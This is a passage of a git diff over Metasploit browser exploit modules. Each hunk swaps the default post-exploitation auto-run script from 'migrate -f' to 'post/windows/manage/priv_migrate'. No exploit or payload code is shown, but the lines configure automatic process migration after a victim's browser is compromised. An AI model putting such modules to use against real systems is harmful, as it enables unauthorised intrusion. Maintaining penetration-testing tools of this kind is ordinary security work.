a/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb +++ b/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb @@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "none", - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/cisco_playerpt_setsource.rb b/modules/exploits/windows/browser/cisco_playerpt_setsource.rb index 5b35ecdef3..d24e3c83b8 100644 --- a/modules/exploits/windows/browser/cisco_playerpt_setsource.rb +++ b/modules/exploits/windows/browser/cisco_playerpt_setsource.rb @@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb b/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb index 199c27944b..b993fccb3d 100644 --- a/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb +++ b/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb @@ -52,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/citrix_gateway_actx.rb b/modules/exploits/windows/browser/citrix_gateway_actx.rb index 58182c0a10..cb68bd0b8a 100644 --- a/modules/exploits/windows/browser/citrix_gateway_actx.rb +++ b/modules/exploits/windows/browser/citrix_gateway_actx.rb @@ -38,7 +38,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/clear_quest_cqole.rb b/modules/exploits/windows/browser/clear_quest_cqole.rb index affe99692b..99619cbf7d 100644 --- a/modules/exploits/windows/browser/clear_quest_cqole.rb +++ b/modules/exploits/windows/browser/clear_quest_cqole.rb @@ -51,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/crystal_reports_printcontrol.rb b/modules/exploits/windows/browser/crystal_reports_printcontrol.rb index 44636c8495..bb65ed47cb 100644 --- a/modules/exploits/windows/browser/crystal_reports_printcontrol.rb +++ b/modules/exploits/windows/browser/crystal_reports_printcontrol.rb @@ -58,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/dell_webcam_crazytalk.rb b/modules/exploits/windows/browser/dell_webcam_crazytalk.rb index f70773b7a5..28eede199f 100644 --- a/modules/exploits/windows/browser/dell_webcam_crazytalk.rb +++ b/modules/exploits/windows/browser/dell_webcam_crazytalk.rb @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "seh", - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/enjoysapgui_comp_download.rb b/modules/exploits/windows/browser/enjoysapgui_comp_download.rb index 0333976af5..084dd3a5f4 100644 --- a/modules/exploits/windows/browser/enjoysapgui_comp_download.rb +++ b/modules/exploits/windows/browser/enjoysapgui_comp_download.rb @@ -28,7 +28,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/firefox_smil_uaf.rb b/modules/exploits/windows/browser/firefox_smil_uaf.rb index 3031bde126..9817cee35e 100644 --- a/modules/exploits/windows/browser/firefox_smil_uaf.rb +++ b/modules/exploits/windows/browser/firefox_smil_uaf.rb @@ -45,7 +45,7 @@ require 'msf/core' 'DefaultOptions' => { 'EXITFUNC' => "thread", - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'References' => [ diff --git a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb index 5f083c52da..2ecf38c827 100644 --- a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb +++ b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb @@ -44,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "process", - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb b/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb index 34a7758163..ef7ce99038 100644 --- a/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb +++ b/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb @@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f -k' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb index efa03912ab..bdf8a7c485 100644 --- a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb +++ b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb @@ -55,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb b/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb index d6cbb5275a..f0bcacc5eb 100644 --- a/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb +++ b/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb @@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb b/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb index 9cb5e338c4..d75ca8fa88 100644 --- a/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb +++ b/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb @@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb b/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb index 873b2b876d..ca2baf3818 100644 --- a/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb +++ b/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb @@ -36,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/ibm_spss_c1sizer.rb b/modules/exploits/windows/browser/ibm_spss_c1sizer.rb index 76261ed22b..b0c226aeaf 100644 --- a/modules/exploits/windows/browser/ibm_spss_c1sizer.rb +++ b/modules/exploits/windows/browser/ibm_spss_c1sizer.rb @@ -56,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb b/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb index 1f261d420a..c67ae31f3e 100644 --- a/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb +++ b/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb @@ -58,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ie_cbutton_uaf.rb b/modules/exploits/windows/browser/ie_cbutton_uaf.rb index e002ede87f..97cfd3c741 100644 --- a/modules/exploits/windows/browser/ie_cbutton_uaf.rb +++ b/modules/exploits/windows/browser/ie_cbutton_uaf.rb @@ -63,7 +63,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb b/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb index d00bae6af6..8f7909a73f 100644 --- a/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb +++ b/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb @@ -58,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ie_execcommand_uaf.rb b/modules/exploits/windows/browser/ie_execcommand_uaf.rb index bad5533df1..3656eee408 100644 --- a/modules/exploits/windows/browser/ie_execcommand_uaf.rb +++ b/modules/exploits/windows/browser/ie_execcommand_uaf.rb @@ -59,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb index 6c8d41af0e..bf8c48a15b 100644 --- a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb +++ b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb @@ -84,7 +84,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'PrependMigrate' => true, - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Privileged' => false, 'DisclosureDate' => "Sep 17 2013", diff --git a/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb b/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb index 26459acef3..2cd1945cde 100644 --- a/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb +++ b/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb @@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => false, - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb b/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb index 0a0583a308..588c0e68e6 100644 --- a/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb +++ b/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb @@ -57,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/inotes_dwa85w_bof.rb b/modules/exploits/windows/browser/inotes_dwa85w_bof.rb index 66e44e1579..5251bad151 100644 --- a/modules/exploits/windows/browser/inotes_dwa85w_bof.rb +++ b/modules/exploits/windows/browser/inotes_dwa85w_bof.rb @@ -61,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/intrust_annotatex_add.rb b/modules/exploits/windows/browser/intrust_annotatex_add.rb index 3f626ef961..17035dd842 100644 --- a/modules/exploits/windows/browser/intrust_annotatex_add.rb +++ b/modules/exploits/windows/browser/intrust_annotatex_add.rb @@ -37,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/java_docbase_bof.rb b/modules/exploits/windows/browser/java_docbase_bof.rb index c8a8cbcec7..625f2b8f50 100644 --- a/modules/exploits/windows/browser/java_docbase_bof.rb +++ b/modules/exploits/windows/browser/java_docbase_bof.rb @@ -58,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/java_mixer_sequencer.rb b/modules/exploits/windows/browser/java_mixer_sequencer.rb index 5817b6720e..c2983fb3ef 100644 --- a/modules/exploits/windows/browser/java_mixer_sequencer.rb +++ b/modules/exploits/windows/browser/java_mixer_sequencer.rb @@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "process", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/mcafee_mvt_exec.rb b/modules/exploits/windows/browser/mcafee_mvt_exec.rb index eca4fd4e7d..b72351ea5b 100644 --- a/modules/exploits/windows/browser/mcafee_mvt_exec.rb +++ b/modules/exploits/windows/browser/mcafee_mvt_exec.rb @@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "none", - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/mozilla_attribchildremoved.rb b/modules/exploits/windows/browser/mozilla_attribchildremoved.rb index e431231c46..11b8a375cd 100644 --- a/modules/exploits/windows/browser/mozilla_attribchildremoved.rb +++ b/modules/exploits/windows/browser/mozilla_attribchildremoved.rb @@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb b/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb index 635d5fc3be..eee4ff70b9 100644 --- a/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb +++ b/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb @@ -44,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/mozilla_interleaved_write.rb b/modules/exploits/windows/browser/mozilla_interleaved_write.rb index be9b94bf4a..8c4e458121 100644 --- a/modules/exploits/windows/browser/mozilla_interleaved_write.rb +++ b/modules/exploits/windows/browser/mozilla_interleaved_write.rb @@ -50,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/mozilla_mchannel.rb b/modules/exploits/windows/browser/mozilla_mchannel.rb index 351ab5261d..9523c605da 100644 --- a/modules/exploits/windows/browser/mozilla_mchannel.rb +++ b/modules/exploits/windows/browser/mozilla_mchannel.rb @@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/mozilla_nssvgvalue.rb b/modules/exploits/windows/browser/mozilla_nssvgvalue.rb index 6b09d042d0..b0da5742b1 100644 --- a/modules/exploits/windows/browser/mozilla_nssvgvalue.rb +++ b/modules/exploits/windows/browser/mozilla_nssvgvalue.rb @@ -42,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/mozilla_nstreerange.rb b/modules/exploits/windows/browser/mozilla_nstreerange.rb index 46ba71e46e..74a5f98f0f 100644 --- a/modules/exploits/windows/browser/mozilla_nstreerange.rb +++ b/modules/exploits/windows/browser/mozilla_nstreerange.rb @@ -53,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', # graceful exit if run in separate thread - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/mozilla_reduceright.rb b/modules/exploits/windows/browser/mozilla_reduceright.rb index 2a78db1bb5..1e3d030aa6 100644 --- a/modules/exploits/windows/browser/mozilla_reduceright.rb +++ b/modules/exploits/windows/browser/mozilla_reduceright.rb @@ -46,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "process", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ms05_054_onload.rb b/modules/exploits/windows/browser/ms05_054_onload.rb index 9027e3b800..29b047312a 100644 --- a/modules/exploits/windows/browser/ms05_054_onload.rb +++ b/modules/exploits/windows/browser/ms05_054_onload.rb @@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/ms09_002_memory_corruption.rb b/modules/exploits/windows/browser/ms09_002_memory_corruption.rb index fb953019b4..e3d674c967 100644 --- a/modules/exploits/windows/browser/ms09_002_memory_corruption.rb +++ b/modules/exploits/windows/browser/ms09_002_memory_corruption.rb @@ -42,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb b/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb index 5d223c0b62..f1351ca547 100644 --- a/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb +++ b/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb @@ -32,7 +32,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/ms10_002_ie_object.rb b/modules/exploits/windows/browser/ms10_002_ie_object.rb index c8c48f817f..a3acec9c72 100644 --- a/modules/exploits/windows/browser/ms10_002_ie_object.rb +++ b/modules/exploits/windows/browser/ms10_002_ie_object.rb @@ -50,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb b/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb index 3bc77c655b..cfd43a5b1a 100644 --- a/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb +++ b/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb @@ -80,7 +80,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb b/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb index 205ab89161..4735af705f 100644 --- a/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb +++ b/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb b/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb index a0d8c78154..6866f86857 100644 --- a/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb +++ b/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb @@ -46,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => %w{ win }, 'Targets' => diff --git a/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb b/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb index fa32a72eb7..adecbbaa0e 100644 --- a/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb +++ b/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb @@ -63,7 +63,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/ms11_003_ie_css_import.rb b/modules/exploits/windows/browser/ms11_003_ie_css_import.rb index 00a7558b92..6ad6f0d3f7 100644 --- a/modules/exploits/windows/browser/ms11_003_ie_css_import.rb +++ b/modules/exploits/windows/browser/ms11_003_ie_css_import.rb @@ -55,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb b/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb index 8d6ebad0b1..e6e9341fee 100644 --- a/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb +++ b/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb @@ -51,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/ms11_081_option.rb b/modules/exploits/windows/browser/ms11_081_option.rb index b31eaf3ef2..e5b79c692f 100644 --- a/modules/exploits/windows/browser/ms11_081_option.rb +++ b/modules/exploits/windows/browser/ms11_081_option.rb @@ -42,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ms11_093_ole32.rb b/modules/exploits/windows/browser/ms11_093_ole32.rb index b382a1498c..0ce8917f60 100644 --- a/modules/exploits/windows/browser/ms11_093_ole32.rb +++ b/modules/exploits/windows/browser/ms11_093_ole32.rb @@ -45,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ms12_004_midi.rb b/modules/exploits/windows/browser/ms12_004_midi.rb index 16cec1843d..1e4148a5fe 100644 --- a/modules/exploits/windows/browser/ms12_004_midi.rb +++ b/modules/exploits/windows/browser/ms12_004_midi.rb @@ -57,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "process", - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ms12_037_ie_colspan.rb b/modules/exploits/windows/browser/ms12_037_ie_colspan.rb index af516188b1..bd21e67a57 100644 --- a/modules/exploits/windows/browser/ms12_037_ie_colspan.rb +++ b/modules/exploits/windows/browser/ms12_037_ie_colspan.rb @@ -45,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/ms12_037_same_id.rb b/modules/exploits/windows/browser/ms12_037_same_id.rb index ae82b71a96..8e1aa2f595 100644 --- a/modules/exploits/windows/browser/ms12_037_same_id.rb +++ b/modules/exploits/windows/browser/ms12_037_same_id.rb @@ -45,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb b/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb index 66098c6c37..da1bca2765 100644 --- a/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb +++ b/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb @@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb b/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb index d766b0638d..a9a55bf86b 100644 --- a/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb +++ b/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb @@ -51,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', 'EXITFUNC' => 'thread' }, 'Platform' => 'win', diff --git a/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb b/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb index 09200f72af..9aace12737 100644 --- a/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb +++ b/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb @@ -56,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Arch' => ARCH_X86, diff --git a/modules/exploits/windows/browser/ms13_055_canchor.rb b/modules/exploits/windows/browser/ms13_055_canchor.rb index 55980c503d..9aff17a110 100644 --- a/modules/exploits/windows/browser/ms13_055_canchor.rb +++ b/modules/exploits/windows/browser/ms13_055_canchor.rb @@ -75,7 +75,7 @@ class 